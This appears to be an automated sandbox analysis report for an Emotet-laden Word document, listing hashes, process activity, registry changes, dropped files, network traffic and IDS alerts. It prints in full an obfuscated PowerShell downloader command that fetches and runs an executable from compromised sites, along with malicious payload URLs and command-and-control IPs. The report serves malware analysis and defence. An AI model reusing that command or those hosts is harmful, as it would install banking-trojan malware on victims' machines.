| File name: | QPQB5 17_01_20.doc.zip |
| Full analysis: | https://app.any.run/tasks/ea2586be-ad17-43cc-8eb7-5f4615c5fd3f |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | January 17, 2020, 20:26:56 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/zip |
| File info: | Zip archive data, at least v2.0 to extract |
| MD5: | A7719A9E95A7F24FCA51E2865583872A |
| SHA1: | F70538CEF34C7208AC11D4C65BB820AD31DFB88C |
| SHA256: | 27A2652E7BCA2BB8DE5892F8DA1341B571D643FE7AE2A10B08F716E0204139E7 |
| SSDEEP: | 3072:gpp1937d/8y0f2Uk3qjPUrskDdUvQz/TKDCL05mb58bm:g77V0f2HqjPU38U58bm |
MALICIOUS
Application was dropped or rewritten from another process
- 108.exe (PID: 820)
- 108.exe (PID: 2456)
- serialfunc.exe (PID: 516)
- serialfunc.exe (PID: 3396)
Emotet process was detected
- 108.exe (PID: 2456)
Connects to CnC server
- serialfunc.exe (PID: 516)
EMOTET was detected
- serialfunc.exe (PID: 516)
Changes the autorun value in the registry
- serialfunc.exe (PID: 516)
Downloads executable files from the Internet
- Powershell.exe (PID: 2824)
SUSPICIOUS
PowerShell script executed
- Powershell.exe (PID: 2824)
Application launched itself
- 108.exe (PID: 820)
Executable content was dropped or overwritten
- 108.exe (PID: 2456)
- Powershell.exe (PID: 2824)
Starts itself from another location
- 108.exe (PID: 2456)
Connects to server without host name
- serialfunc.exe (PID: 516)
Creates files in the user directory
- Powershell.exe (PID: 2824)
Executed via WMI
- Powershell.exe (PID: 2824)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2648)
Manual execution by user
- WINWORD.EXE (PID: 2648)
Creates files in the user directory
- WINWORD.EXE (PID: 2648)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .zip | | | ZIP compressed archive (100) |
|---|
EXIF
ZIP
| ZipRequiredVersion: | 788 |
|---|---|
| ZipBitFlag: | 0x0001 |
| ZipCompression: | Deflated |
| ZipModifyDate: | 2020:01:17 21:25:26 |
| ZipCRC: | 0xb04eff91 |
| ZipCompressedSize: | 171395 |
| ZipUncompressedSize: | 250890 |
| ZipFileName: | QPQB5 17_01_20.doc |
Total processes
44
Monitored processes
7
Malicious processes
5
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 516 | --d6864438 | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | serialfunc.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: PromptEdit_Demo MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
| 820 | "C:\Users\admin\108.exe" | C:\Users\admin\108.exe | — | Powershell.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: PromptEdit_Demo MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
| 2456 | --9ef7d637 | C:\Users\admin\108.exe | 108.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: PromptEdit_Demo MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
| 2648 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\QPQB5 17_01_20.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 2824 | Powershell -w hidden -en JABCAHIAdwBuAGIAbABuAHUAcwBuAHkAbwB6AD0AJwBPAGMAdwByAG8AcQBrAHYAbgBhAGQAcgB0ACcAOwAkAEIAbABjAGMAcAB2AGYAZQAgAD0AIAAnADEAMAA4ACcAOwAkAE0AZgBmAHEAcgB5AGoAbAByAGYAYQA9ACcAQwBuAG0AegBlAGIAcwBqAG0AawBqAHIAdwAnADsAJABEAGYAcwBqAHUAdwBtAGQAdAB2AHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEIAbABjAGMAcAB2AGYAZQArACcALgBlAHgAZQAnADsAJABYAHUAdABzAHQAeQBtAGkAdQBtAGgAPQAnAEsAegBpAHAAbAB6AGsAbgByAHIAcABiACcAOwAkAFoAdQBuAHoAZgBsAGUAdwBrAHAAPQAmACgAJwBuAGUAdwAnACsAJwAtACcAKwAnAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AdwBlAGIAQwBMAGkARQBOAHQAOwAkAEsAbgBuAGcAcABzAGUAdwBpAD0AJwBoAHQAdABwADoALwAvAGIAaQB6AHQAcgBlAGUAbQBnAG0AdAAuAGMAbwBtAC8AdwBvAHIAZABwAHIAZQBzAHMALwA1AGcAdgBoADIAYgB2AHgAagBrAC0AYQBkAHkAbAA0AGQALQA1ADEAMAA1ADUALwAqAGgAdAB0AHAAOgAvAC8AYQBkAGEAbQBwAGUAdAB0AHkAYwByAGUAYQB0AGkAdgBlAC4AYwBvAG0ALwB4ADkAMgBrADIANQAvAFMAdABQAEgAaABVAHIALwAqAGgAdAB0AHAAOgAvAC8AcgBvAHMAZQBwAGUAcgBmAGUAaQB0AG8ALgBjAG8AbQAuAGIAcgAvAGwAbwBhAGQAaQBuAGcALwBpAG0AZQAwAGEAMwAtADUAZwBhAC0AMgA4ADcAMAA3ADIANgA1ADUAMwAvACoAaAB0AHQAcAA6AC8ALwBuAGcAdQBvAGkAZABlAHAAeAB1AG0AdQBvAG4AZwAuAHYAbgAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AUABCAHMARQBUAEoALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBiAHUAaQBsAGQAaQB0AGUAeABwAHIAZQBzAHMALgBjAG8ALgB1AGsALwBlAHgAYwBsAHUAcwBpAHYAZQAvAGcAdgBEAEsAVABWAC8AJwAuACIAUwBgAFAAbABJAHQAIgAoACcAKgAnACkAOwAkAFoAdgB2AHoAdQBvAHcAbwB4AD0AJwBFAHcAcABlAHMAbQB4AGsAegAnADsAZgBvAHIAZQBhAGMAaAAoACQASQB1AGgAbABjAGUAbwBiAHAAdQB3AHMAdQAgAGkAbgAgACQASwBuAG4AZwBwAHMAZQB3AGkAKQB7AHQAcgB5AHsAJABaAHUAbgB6AGYAbABlAHcAawBwAC4AIgBkAE8AdwBOAGwAYABvAGAAQQBkAEYAaQBsAEUAIgAoACQASQB1AGgAbABjAGUAbwBiAHAAdQB3AHMAdQAsACAAJABEAGYAcwBqAHUAdwBtAGQAdAB2AHIAKQA7ACQAQwB0AGYAeAB5AHoAZwBjAGUAcQBuAD0AJwBOAHkAbQBtAGIAdwB3AGIAdwBpAGcAJwA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABEAGYAcwBqAHUAdwBtAGQAdAB2AHIAKQAuACIATABFAE4AYABHAFQAaAAiACAALQBnAGUAIAAyADEAOQA0ADAAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBUAGEAYABSAHQAIgAoACQARABmAHMAagB1AHcAbQBkAHQAdgByACkAOwAkAFkAZQBzAHEAZwBnAGwAdABiAHUAPQAnAFcAaAB1AGgAcQByAGQAYwBxAHUAYQAnADsAYgByAGUAYQBrADsAJABEAGMAbABmAGwAeQB1AGQAcQBpAD0AJwBBAGgAbgBiAHUAdwBzAG8AbAB6ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE8AcgBwAHoAcgBzAGUAZQBoAD0AJwBFAGEAbgBxAHYAZABtAGYAJwA= | C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2828 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\QPQB5 17_01_20.doc.zip" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe | |||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.60.0 Modules
| |||||||||||||||
| 3396 | "C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe" | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | — | 108.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: PromptEdit_Demo MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
Total events
2 555
Read events
1 704
Write events
719
Delete events
132
Modification events
| (PID) Process: | (2828) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtBMP |
Value: | |||
| (PID) Process: | (2828) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtIcon |
Value: | |||
| (PID) Process: | (2828) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\12B\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2828) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\AppData\Local\Temp\QPQB5 17_01_20.doc.zip | |||
| (PID) Process: | (2828) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (2828) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (2828) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
| (PID) Process: | (2828) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | mtime |
Value: 100 | |||
| (PID) Process: | (2828) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface |
| Operation: | write | Name: | ShowPassword |
Value: 0 | |||
| (PID) Process: | (2828) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\MainWin |
| Operation: | write | Name: | Placement |
Value: 2C0000000000000001000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF42000000420000000204000037020000 | |||
Executable files
2
Suspicious files
2
Text files
2
Unknown types
5
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2828 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRb2828.33976\QPQB5 17_01_20.doc | — | |
MD5:— | SHA256:— | |||
| 2648 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRE440.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2648 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DFEB32BBC7FD7FAE9A.TMP | — | |
MD5:— | SHA256:— | |||
| 2648 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF2E5D3A68612428D8.TMP | — | |
MD5:— | SHA256:— | |||
| 2824 | Powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZLAKTQMVDCAX4N5LORKY.temp | — | |
MD5:— | SHA256:— | |||
| 2648 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 2648 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\QPQB5 17_01_20.doc.LNK | lnk | |
MD5:— | SHA256:— | |||
| 2648 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat | text | |
MD5:— | SHA256:— | |||
| 2824 | Powershell.exe | C:\Users\admin\108.exe | executable | |
MD5:— | SHA256:— | |||
| 2824 | Powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
4
DNS requests
2
Threats
10
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
516 | serialfunc.exe | POST | 200 | 59.135.126.129:443 | http://59.135.126.129:443/PVWGs | JP | binary | 148 b | malicious |
2824 | Powershell.exe | GET | 200 | 160.153.138.71:80 | http://adampettycreative.com/x92k25/StPHhUr/ | US | executable | 332 Kb | malicious |
516 | serialfunc.exe | POST | — | 98.192.74.164:80 | http://98.192.74.164/bLSVuWMcD4Yao5tBriL | US | — | — | malicious |
2824 | Powershell.exe | GET | 404 | 203.175.174.69:80 | http://biztreemgmt.com/wordpress/5gvh2bvxjk-adyl4d-51055/ | SG | html | 315 b | suspicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2824 | Powershell.exe | 203.175.174.69:80 | biztreemgmt.com | SG.GS | SG | suspicious |
516 | serialfunc.exe | 98.192.74.164:80 | — | Comcast Cable Communications, LLC | US | malicious |
516 | serialfunc.exe | 59.135.126.129:443 | — | KDDI CORPORATION | JP | malicious |
2824 | Powershell.exe | 160.153.138.71:80 | adampettycreative.com | GoDaddy.com, LLC | US | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
biztreemgmt.com |
| suspicious |
adampettycreative.com |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2824 | Powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2824 | Powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
2824 | Powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
516 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M5 |
516 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M6 |
516 | serialfunc.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
516 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M5 |
516 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M6 |
516 | serialfunc.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
516 | serialfunc.exe | Potentially Bad Traffic | ET POLICY HTTP traffic on port 443 (POST) |